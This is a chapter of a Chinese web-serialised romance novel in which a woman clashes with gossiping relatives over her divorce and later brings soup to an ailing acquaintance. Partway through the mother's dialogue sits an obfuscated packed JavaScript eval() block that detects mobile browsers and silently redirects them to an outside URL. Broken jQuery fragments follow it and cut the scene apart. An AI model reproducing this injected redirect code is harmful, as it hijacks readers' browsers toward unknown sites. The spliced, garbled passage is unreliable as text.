默认冷灰
24号文字
方正启体

11. 章鱼手

作者:时不晚lc本书字数:K更新时间:
    自从那日和曾行出去吃饭,文令仪和他就再没联系过。一周过去了,她偶尔想去“调戏”他。但一想到那日他听到自己名字的反应,兴致全无。


    她这样优雅、美丽、温润的人,配不上“令仪”二字?


    他竟然还笑。笑屁!


    就算是个炮友,也得给点情绪价值吧?


    将他抛到脑后,抽出没课的一天,文令仪打算回趟家。


    她已经一个月没见到父母了,回去的路上,她绕道去超市买他们平常爱吃的东西。在货架前挑奶粉,眼前浮现出父母往日平和慈祥的笑脸,心里不是滋味。


    也不知他们听到贺天翔说了什么。父母年纪大了,还要操心她的事,受别人的闲气。她觉得很过意不去。


    手机这时突然嗡嗡震动,按响免提后,传来了爸爸的声音:“令令,待会你的叔伯、姑姑他们也会来。大家一起商量下离婚的事要怎么办。”


    她的心顿时提起来:“有必要弄这么大阵仗吗?”


    “离婚也算件大事,人多主意也多。”


    “我看他们是来幸灾乐祸的。”


    她小声叨了句,可还是被父亲听清楚了:“欸?等会见到他们你可不能这么说啊,大家也是关心你,别想多了。”


    文令仪在心里冷笑,他们家的亲戚是什么德行,她门儿清。真正关心她的没几个,多半是来看笑话的。


    挂掉电话,她满心不悦,烦躁像藤蔓一样疯狂蔓延。这些亲戚里要属两个姑子最势利眼,平日里喜欢拜高踩低,攀比虚荣,尤其喜欢和身边的人比较。偏偏自己能力不行,赚不到几个子。


    心比天高,现实骨感。久而久之,她们身上形成的那股子酸气,隔着几丈远都能闻到。听到她离婚的消息,指不定怎么乐的呢。


    得,回去以后肯定有场硬仗要打。


    回到家刚进门,文令仪闻到了一种熟悉的气味。说不清楚到底是种什么味,只知道是关于家的独有气味。闻到就会令人感到放松、温馨。


    可惜本应该是件愉悦、惬意的事情,偏偏要面对令她头疼的场面——家里不大的客厅沙发上坐满了正叽叽喳喳等着看好戏的人。


    看到她回来了,大姑吐掉嘴里的瓜子喊道:“是令令回来了,快过来坐。”


    “没事没事,我有座。”


    不想和他们挤在一起,文令仪搬来了一张小板凳坐下。


    大伯父喝了口茶,对她道:“今天学校没课?”


    “没有。”


    大伯母:“当老师这点就是好,假多,轻松。我早劝我们家建宇当老师,但他就是不听。现在当了记者,天天忙得像陀螺,风里来雨里去的,一年到头都看不见人。”


    大姑:“你家建宇当年成绩那么好,做这个工作确实可惜了,太辛苦,也难出头。”


    大伯母恨铁不成钢的样子,一只手砸另一只的掌上:“就是说嘛。讲他也不听。”


    小姑这时插进话道:“算了算了,孩子大了,都有自己的选择。记者也算好工作,说出去好听,工资也不差。最重要的是,他娶到了好老婆,婚姻幸福啊。你看看,你们家都生二胎了,我们家还没个影。”


    大伯母:“你们家若熙生得这么水灵,追的人不少吧?是不是自己瞧不上眼啊?”


    小姑嗤了一声:“别提她了,说起就烦。也不知哪根筋不对,给她介绍的都看不上。真不知她到底想找个什么样的。”


    提到孩子们的嫁娶,文令仪眼皮一跳:话头要转到她这了。


    果然,下一秒,小姑就看向她道:“令令啊,天翔在群里说的是真的吗?你们真要离?”


    文令仪装作不经意瞄了眼父母,爸爸还算淡定,妈妈的脸上明显难看起来。


    她非常想避开这个问题,但是众人就像筑起了坚固的铁笼,她无路可逃。


    拿着手机的手紧了紧,她道:“嗯。”


    大姑立即“啧”了一下,满脸惋惜:“怎么会这样?天翔他看起来挺靠谱的啊。”


    大伯母紧跟:“结个婚不容易,怎能说离就离?他为什么想离婚?”


    文令仪语气平淡:“不知道。他要离就离呗。”


    大姑:“话也不是这样说,要是有挽回的机会,当然是不离的好。女孩子家就算事业做得再好,终归还是要结婚的。身边有个人陪伴帮衬,总比一个人强。”


    小姑:“是啊。你看我和你姑父,虽说我们学历不高,也没赚什么钱,但是两人恩爱,平常做什么都一起,日子也过得红火美满。是不是你平时只顾工作,对他的关心太少了?我和你说,男人不管在外面多要强,回到家都喜欢一个温柔贤惠的妻子。要多关心他,他才会觉得温馨,有归属感。”


    文令仪在心里翻了个大白眼,要她在家里温柔贤惠,那也得他回家才行啊!一天到晚人都看不到,她对着空气做贤妻吗?


    大姑:“是啊,其实女人这辈子赚点钱,能把家顾好就行,用不着事业上太拼。你再好好和天翔说说,姑姑觉得他可能是一时生气,不至于真的想离。”


    “不了,他想离,我也想离。挺好的,就离了吧。”


    小姑:“别赌气说这话,夫妻间哪有不吵架的?一时生气也正常。你年纪也这么大了,该为自己多考虑,离了再找个好的也不容易。”


    “那就不找了呗。”


    大姑的声音扬起来:“不找那怎么行?你现在连孩子都没生,老了谁照顾你?”


    “上养老院待着。”


    小姑:“令令,我们是过来人,年轻气盛谁都有,但你得看清现实!我们吃过的盐比你吃过的饭还多,不会害你!”


    “奥,怪不得你这么闲。”


    她们坐得近,小姑听清楚了她说的话,脸上变了变,但还在强装笑颜:“你书是读得多,但过日子的事还真不一定懂。姑姑说这些都是为你好。”


    “你懂还混成这样?”


    客厅骤然安静。


    小姑整张脸霎时涨红,又由红转青,眼里最后那点笑意也消失殆尽。


    这时,文爸爸低声斥了句:“令令,怎么说话呢?快道歉。”


    压抑的怒火就像一氧化碳遇到火星子,瞬间爆炸。文令仪站起身,眼眶通红,泪水却倔强地不肯落下。她不再看任何人,转身走进房间,重重关上了门。


    文妈妈也觉得有些对不住亲戚,赔笑道:“对不住啊,可能她…心情不太好。”


    文爸爸也打圆场道:“是啊,还请大家多谅解。我知道你们也是关心她,为她好,她会懂的。再说,离婚现在也不是什么大不了的事。咱们家又不缺钱,令令她也有能力照顾好自己的生活。那小子不懂珍惜就不跟他过。自己好好过日子觉得开心就行。”


    小姑叹口气:“也是,现在社会比以前开放了。令令她能力强,学历高,看不上我们也正常。不过啊,离婚到底也是件重要的事,哥,你还是再劝她好好想想。我们都是过来人,经历的事多,没看到有几个女人离了婚会过得好。”


    其他几人也说了几句劝慰的话,觉得再坐下去也没意思,便找借口陆续离开。


    走出楼道,小姑确认周围没人,立刻狠狠啐了一口:“你看她那德行,还当自己是个宝呢!都黄脸婆了,还离了婚,谁要她?呸!”


    “你和她气什么!我见过不少博士,性格都像她这样,怪里怪气的。所以说啊,女孩子学历再高,婚姻也不见得幸福,读这么多书有什么用?你看上回我和你说的同学家的女儿,也就大专毕业,但是嫁得好啊,老公家里做生意的,家产有千把万,现在过得别提多滋润。你可得让若熙好好挑,将来肯定比她强!”


    “那当然,”小姑挽住姐姐,声音终于透出畅快:“嫁对人,才是女人一辈子最要紧的事。有好的资源,你可一定要介绍给我啊!”


    “放心,包在我身上。”


    南方冬日的阴天好像一个弃之不用的巨大器皿里长满了霉菌,沉闷,潮湿,连人也觉得身上总有一股干不了的潮气,待久了也会变成菌体。


    文令仪双手抱膝静坐床上,呆呆看着窗外阴霾的天。外面的天是灰蒙的,房里也阴暗。她俨然是一块小小的霉菌斑。


    “咔哒”一声响,文父推门进来:“令令,出来吧。”


    她像蜗牛一般缓慢地出了窝,看到父亲一脸严肃,母亲低着头,不断叹气。


    走过去坐下,她低着头,垂眼看着地板。


    文父:“我知道你心情不好,但人家毕竟是长辈。当着他们的面,不该那样说话。”


    委屈似洪水猛兽来袭,文令仪终于忍不住开始流泪:“他们是安的什么好心吗?他们是幸灾乐祸来看我笑话的!”


    文母的手肘本来支着脑袋,眉头紧蹙。听到她的喊声立即坐直了身子:“你冲你爸发什么火?晚辈对长辈不敬,本来就是错的!”


    紧紧抿唇,文令仪的眼泪像断了线的珠子不断往下落,却不再答话。


    到底是心疼女儿,文母看到她哭心像针扎一样难受:“那个贺天翔也不是东西,说离就离,还往群里发,闹得大家都知道了。你和他都协商好了吗?什么时候去办离婚?”


    “没有。他狮子大开口,房贷我每月都付了钱,但是他一分都不想给我。我现在在找靠谱的律师咨询,打算到时候提起诉讼。”


    文母听完啐了一口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276058|198247||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“呸!什么玩意儿。”


    文父沉默半晌道:“这个男人不能跟。我和你妈支持你离,该是你的东西就去争取,需要我们帮忙的尽管开口,别一个人担着。”


    “嗯。谢谢爸爸。”亲人的力量是坚强的后盾,弥补了生活的破碎。一股暖流冲进文令仪的心间,她又忍不住想大哭,赶忙用手擦了几把泪,把泪堵了回去。


    文母:“你爸说得对,不管你怎样抉择,我们都会全力支持你。”


    “嗯。”


    她没有胃口,在家随意扒了几口饭就出门了,心里堵得慌,她给闫静发了条信息。


    “今日回家,遭到八卦亲戚围剿。你猜后续如何?”


    对面可能不忙,很快回复了:“我们的大女主大杀四方了?”


    “bingo!答对了。我恨不能自己是条章鱼,一次能扇八个!”


    对面回复了个“噗哈哈哈”的表情包,然后道:“你们家那帮喜欢嚼舌根的人,是不能轻易放过。跟踪的事怎样了?”


    提起这茬,文令仪更加郁闷:“别提了,脸都要丢到西班牙。”


    “?”


    她只说了自己在宏天崴脚的事,略去了和曾行之间那个意外的吻。


    要是说出去了,可能可以承包闫静一整年的笑点吧…


    和闺蜜聊了几句,她稍微松畅了点,回到小区已经是晚上9点多了。


    停好车后,她快步往回走。小区里这个点外面已经没什么人,路灯照不到的地方漆黑昏暗。她走到一片低矮的树丛时,看到一对人影突然散开,好像惊弓之鸟,倏地跑开了。


    她止步愣住,明白自己是打扰到了一对正在热恋期间的小情侣了。


    曾几何时,自己也像他们一样,不管不顾沉浸在爱情里,整个世界像是只有他们两个。热烈,纯粹,一点瑕疵都容不下。


    这样的爱情,大概不会再降临在她身上了吧?


    她站了一会,觉得了冷。拿起手机看了眼时间,正抬脚要走,看到Soulmate发来了一条广告。


    “嗨~你在干嘛?快来遇见心动的Ta吧!”


    噫。她嗤之以鼻,又是广告,但脑袋里却自动代入了一个人。


    真爱难寻,所以没必要认真。她不是正巧认识了一个可以打发寂寞的人吗?


    她点开图标,发出了信息:“嗨~在干嘛?”


    曾行一个人躺在沙发上,额头覆了一层因疼痛渗出的汗水。他服了药物,可这次好像胃疼得很严重,药没有作用。


    如同墨一般黑的房里,他静静躺着,手机屏幕的亮光照在脸上。他眼皮动了动,不想理睬。


    一个小时后,文令仪依然没收到他的回复。她犹豫了下,拨了通语音过去。


    响了很多声,就在她以为曾行不会接时,传来了他低沉沙哑的声音。


    “喂..”


    “在干嘛?”


    “有事吗?”


    文令仪听出了他声音里的不对劲:“你是不是不舒服?生病了?”


    曾行没有否认,沉默以对。他疼得难受,也很烦躁,一个字都不想说。


    对面又传来了讲话声。


    “你哪里不舒服?吃药了吗?要不要去医院?”


    他握着手机的手有些脱力:“不去。你没事我就挂了。”


    “欸,欸?喂?”文令仪还没说完,那头就挂断了。她无语至极。这人是怎么回事?关心他还这么冷漠。不过他听起来很难受,或许是真病了。


    曾行刚闭眼,又听到了手机响。他打开,看到进来了三、四条信息,都是她发来的。


    “要记得吃药哟~”


    “生病了要及时看医生,这样才乖~”


    “你到底是哪不舒服?可以和我说说。”


    “…”


    他看完后把手机扔在一边。这女人真烦…


    曾行合眼躺了会,又听到了铃声。看到又是她。


    “我买了热粥,在你楼下。你还好么?”


    黑暗里,他的眼睛一时不能适应手机的光,待看清楚时,他愣了愣。她竟过来了?


    文令仪无法进小区,站在外面等。深夜的风寒冷,她提着保温桶的手已经冻得冰凉。


    对面一直没回复,不会是病得太严重晕过去了吧?也不知他家里是什么情况,电话那头冷冷清清,似乎也没人照顾他。


    本不应该对一个炮友太关心,但他之前帮了她的忙,考虑一下,她还是买了份热粥送过来。


    半晌后她收到了一条信息:“关你什么事?”


    她望着屏幕愣住了,呆呆站了会,将保温桶留在了保安室转身就走。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)